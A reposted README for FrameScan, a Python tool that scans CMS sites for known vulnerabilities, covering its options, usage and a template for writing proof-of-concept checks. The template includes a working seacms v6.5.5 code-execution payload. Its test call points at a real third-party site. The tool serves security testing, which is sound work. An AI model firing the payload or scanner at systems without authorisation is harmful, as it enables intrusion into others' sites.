FrameScan CMS漏洞掃描

工具簡介

GithubL:https://github.com/qianxiao996/FrameScan

FrameScan是一款python3編寫的簡易的cms漏洞檢測框架,支持多種檢測方式,支持大多數CMS,可以自定義CMS類型及自行編寫POC。旨在幫助有安全經驗的安全工程師對已知的應用快速發現漏洞。

支持平臺

  • Windows

  • Linux

  • MAC(請自測)

工具特點

  • 單URL批量檢測

  • 單URL單漏洞檢測

  • 單URL指定CMS檢測

  • 多URL單漏洞檢測

  • 單URL單漏洞檢測

  • 單URL指定CMS檢測

詳細參數如下:

    -u          Url                      URL地址
    -f          Load urls file           文件路徑
    -m          Use poc module           使用單個POC
    -c          Specify CMS              指定CMS類型
    -s          Search poc keywords      查找關鍵詞漏洞
    -lc         List CMS POC             列出指定CMS漏洞
    -l          List avalible pocs       列出所有POC
    -r          Reload POC               重新加載POC
    -txt        Save Result(txt)         輸出掃描結果(txt)
    -html       Save Result(html)        輸出掃描結果(html)
    -h          Get help                 幫助信息

使用方法

下載項目

安裝依賴(不需要!)

腳本主要依賴於以下模塊(無需安裝)
import sys,os,re
from color import *
import sqlite3,requests

運行腳本

>python3 FrameScan.py
     _____                         ____
    |  ___| __ __ _ _ __ ___   ___/ ___|  ___ __ _ _ __
    | |_ | '__/ _` | '_ ` _ \ / _ \___ \ / __/ _` | '_ \
    |  _|| | | (_| | | | | | |  __/___) | (_| (_| | | | |
    |_|  |_|  \__,_|_| |_| |_|\___|____/ \___\__,_|_| |_|

    Options:                          Code by qianxiao996
    -----------------------------------------------------
    -u          Url                      URL地址
    -f          Load urls file           文件路徑
    -m          Use poc module           使用單個POC
    -c          Specify CMS              指定CMS類型
    -s          Search poc keywords      查找關鍵詞漏洞
    -lc         List CMS POC             列出指定CMS漏洞
    -l          List avalible pocs       列出所有POC
    -r          Reload POC               重新加載POC
    -txt        Save Result(txt)         輸出掃描結果(txt)
    -html       Save Result(html)        輸出掃描結果(html)
    -h          Get help                 幫助信息
    -----------------------------------------------------
    FrameScan  V1.1              Blog:blog.qianxiao996.cn

單URL批量檢測

python3 FrameScan.py -u URL

單URL單漏洞檢測(POC_METHOS可以用 -l、-s、-lc進行查詢)

python3 FrameScan.py -u URL -m POC_METHOS

單URL指定CMS檢測

python3 FrameScan.py -u URL -m POC_METHOS

多URL批量檢測

python3 FrameScan.py -f 文件名

多URL單漏洞檢測

python3 FrameScan.py -f 文件名  -m  POC_METHOS

多URL指定CMS檢測

python3 FrameScan.py -f 文件名  -c  CMS類型

輸出到TXT或者HTML文件

python3 FrameScan.py -u URL -txt   文件名
python3 FrameScan.py -u URL -html  文件名

自定義POC模板

代碼中採用自定義彩色輸出,請儘量規範編寫。腳本中爲示例代碼。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
name: 漏洞名稱(禁止換行)控制在30字以內
referer: 漏洞地址(禁止換行)未知請填unknown
author: 作者名
description: 漏洞描述 
'''
import sys
import requests
import warnings
def run(url):
    #此處編輯檢測代碼
    #示例代碼,請更改result內容,result[0]爲漏洞名稱,result[1]爲返回的內容,result[2]爲測試結果
    result = ['seacms v6.5.5代碼執行漏洞','','']
    headers = {
        "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
    }
    payload = "searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*"
    url_path = url + "/search.php?phpinfo();"
    try:
        data = requests.get(url_path, timeout=3,headers=headers, verify=False)
        if data.status_code == 200 and 'phpinfo' in data.text:
            result[2]= "存在"
            result[1] = "URL:%s\nPOST:%s"%(url_path,payload)
        else:
            result[2] = "不存在"
    except Exception as e:
        # print (e)
        result[2] ="不存在"
        #這裏可設置未知,連接超時等,只有不存在不會顯示到結果中。
    return result
    #最後一定要返回一個帶有3個參數的列表。不然會出錯誤。

if __name__ == "__main__":
    #此處不會調用
    warnings.filterwarnings("ignore")
    testVuln = run("http://baidu.com")
    print(testVuln)

鳴謝

POC多數來源於 AngelSword:https://github.com/Sch01ar/AngelSword 部分爲自己編寫,歡迎投遞POC

郵箱地址:[email protected]

警告!

請勿用於非法用途!否則自行承擔一切後果

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章